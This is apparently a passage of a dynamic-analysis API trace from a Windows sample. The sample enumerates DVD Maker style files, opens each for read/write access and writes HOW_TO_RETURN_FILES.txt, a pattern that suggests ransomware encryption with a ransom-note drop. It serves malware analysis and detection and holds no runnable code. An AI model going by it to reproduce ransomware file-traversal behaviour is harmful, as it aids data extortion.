hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.846] AreFileApisANSI () returned 1 [0125.846] GetACP () returned 0x4e4 [0125.846] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.pnge.png", lpUsedDefaultChar=0x37dec0) returned 33 [0125.846] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.846] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.846] AreFileApisANSI () returned 1 [0125.846] GetACP () returned 0x4e4 [0125.846] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x37dec0) returned 39 [0125.846] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.846] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.846] AreFileApisANSI () returned 1 [0125.846] GetACP () returned 0x4e4 [0125.847] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.pngcture.png", lpUsedDefaultChar=0x37dec0) returned 30 [0125.847] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.847] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.847] AreFileApisANSI () returned 1 [0125.847] GetACP () returned 0x4e4 [0125.847] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.pngpng", lpUsedDefaultChar=0x37dec0) returned 36 [0125.847] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.847] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.847] AreFileApisANSI () returned 1 [0125.847] GetACP () returned 0x4e4 [0125.847] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="vintage.png", cchWideChar=11, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="vintage.pngp_SelectionSubpicture.png", lpUsedDefaultChar=0x37dec0) returned 11 [0125.847] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.847] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0125.848] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0125.848] AreFileApisANSI () returned 1 [0125.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0125.849] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0125.850] GetFileType (hFile=0x130) returned 0x1 [0125.851] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.851] AreFileApisANSI () returned 1 [0125.851] GetACP () returned 0x4e4 [0125.851] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Performance", cchWideChar=11, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Performancep_SelectionSubpicture.png", lpUsedDefaultChar=0x37df4c) returned 11 [0125.851] AreFileApisANSI () returned 1 [0125.851] GetACP () returned 0x4e4 [0125.851] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=56, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\֠j\x04") returned 56 [0125.854] AreFileApisANSI () returned 1 [0125.854] GetACP () returned 0x4e4 [0125.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0125.854] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.854] AreFileApisANSI () returned 1 [0125.854] GetACP () returned 0x4e4 [0125.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0125.854] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.854] AreFileApisANSI () returned 1 [0125.854] GetACP () returned 0x4e4 [0125.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="720x480blacksquare.png", cchWideChar=22, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="720x480blacksquare.png28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 22 [0125.854] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.855] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.855] AreFileApisANSI () returned 1 [0125.855] GetACP () returned 0x4e4 [0125.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NextMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NextMenuButtonIcon.png", lpUsedDefaultChar=0x37dec0) returned 22 [0125.855] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.855] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.855] AreFileApisANSI () returned 1 [0125.855] GetACP () returned 0x4e4 [0125.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NextMenuButtonIconSubpictur.png", cchWideChar=31, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NextMenuButtonIconSubpictur.pngpRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 31 [0125.855] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.856] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.856] AreFileApisANSI () returned 1 [0125.856] GetACP () returned 0x4e4 [0125.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Notes_loop.wmv", cchWideChar=14, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Notes_loop.wmvIconSubpictur.png", lpUsedDefaultChar=0x37dec0) returned 14 [0125.856] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.856] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.856] AreFileApisANSI () returned 1 [0125.856] GetACP () returned 0x4e4 [0125.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Notes_loop_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Notes_loop_PAL.wmvSubpictur.png", lpUsedDefaultChar=0x37dec0) returned 18 [0125.857] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.857] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.857] AreFileApisANSI () returned 1 [0125.857] GetACP () returned 0x4e4 [0125.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIcon.png", cchWideChar=24, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ParentMenuButtonIcon.pngtur.png", lpUsedDefaultChar=0x37dec0) returned 24 [0125.857] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.857] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.857] AreFileApisANSI () returned 1 [0125.857] GetACP () returned 0x4e4 [0125.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIconSubpict.png", cchWideChar=31, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ParentMenuButtonIconSubpict.png", lpUsedDefaultChar=0x37dec0) returned 31 [0125.857] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.858] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.858] AreFileApisANSI () returned 1 [0125.858] GetACP () returned 0x4e4 [0125.858] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="performance.png", cchWideChar=15, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="performance.pngnIconSubpict.png", lpUsedDefaultChar=0x37dec0) returned 15 [0125.858] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.858] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.858] AreFileApisANSI () returned 1 [0125.858] GetACP () returned 0x4e4 [0125.858] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Perf_Scenes_Mask1.png", cchWideChar=21, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Perf_Scenes_Mask1.pngubpict.png", lpUsedDefaultChar=0x37dec0) returned 21 [0125.859] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.859] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.859] AreFileApisANSI () returned 1 [0125.859] GetACP () returned 0x4e4 [0125.859] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Perf_Scenes_Subpicture1.png", cchWideChar=27, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Perf_Scenes_Subpicture1.png.png", lpUsedDefaultChar=0x37dec0) returned 27 [0125.859] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.859] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.859] AreFileApisANSI () returned 1 [0125.859] GetACP () returned 0x4e4 [0125.859] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIcon.png", cchWideChar=26, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PreviousMenuButtonIcon.pngg", lpUsedDefaultChar=0x37dec0) returned 26 [0125.859] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.859] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.859] AreFileApisANSI () returned 1 [0125.859] GetACP () returned 0x4e4 [0125.860] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIconSubpi.png", cchWideChar=31, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PreviousMenuButtonIconSubpi.png", lpUsedDefaultChar=0x37dec0) returned 31 [0125.860] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.860] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.860] AreFileApisANSI () returned 1 [0125.860] GetACP () returned 0x4e4 [0125.860] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="redmenu.png", cchWideChar=11, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="redmenu.pnguButtonIconSubpi.png", lpUsedDefaultChar=0x37dec0) returned 11 [0125.861] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.861] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.861] AreFileApisANSI () returned 1 [0125.861] GetACP () returned 0x4e4 [0125.861] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Scene_loop.wmv", cchWideChar=14, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Scene_loop.wmvttonIconSubpi.png", lpUsedDefaultChar=0x37dec0) returned 14 [0125.861] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.861] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.861] AreFileApisANSI () returned 1 [0125.861] GetACP () returned 0x4e4 [0125.861] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Scene_loop_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Scene_loop_PAL.wmvIconSubpi.png", lpUsedDefaultChar=0x37dec0) returned 18 [0125.861] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.862] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.862] AreFileApisANSI () returned 1 [0125.862] GetACP () returned 0x4e4 [0125.862] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TitleButtonIcon.png", cchWideChar=19, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TitleButtonIcon.pngconSubpi.png", lpUsedDefaultChar=0x37dec0) returned 19 [0125.862] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.862] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.862] AreFileApisANSI () returned 1 [0125.862] GetACP () returned 0x4e4 [0125.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TitleButtonSubpicture.png", cchWideChar=25, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TitleButtonSubpicture.pngpi.png", lpUsedDefaultChar=0x37dec0) returned 25 [0125.863] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.863] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.863] AreFileApisANSI () returned 1 [0125.863] GetACP () returned 0x4e4 [0125.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Title_Page.wmv", cchWideChar=14, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Title_Page.wmvpicture.png", lpUsedDefaultChar=0x37dec0) returned 14 [0125.863] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.863] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.863] AreFileApisANSI () returned 1 [0125.863] GetACP () returned 0x4e4 [0125.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Title_Page_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Title_Page_PAL.wmvure.png", lpUsedDefaultChar=0x37dec0) returned 18 [0125.863] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.864] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.864] AreFileApisANSI () returned 1 [0125.864] GetACP () returned 0x4e4 [0125.864] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="title_trans_notes.wmv", cchWideChar=21, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="title_trans_notes.wmv.png", lpUsedDefaultChar=0x37dec0) returned 21 [0125.864] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.865] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.865] AreFileApisANSI () returned 1 [0125.865] GetACP () returned 0x4e4 [0125.865] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Title_Trans_Notes_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Title_Trans_Notes_PAL.wmv", lpUsedDefaultChar=0x37dec0) returned 25 [0125.865] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.865] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.865] AreFileApisANSI () returned 1 [0125.865] 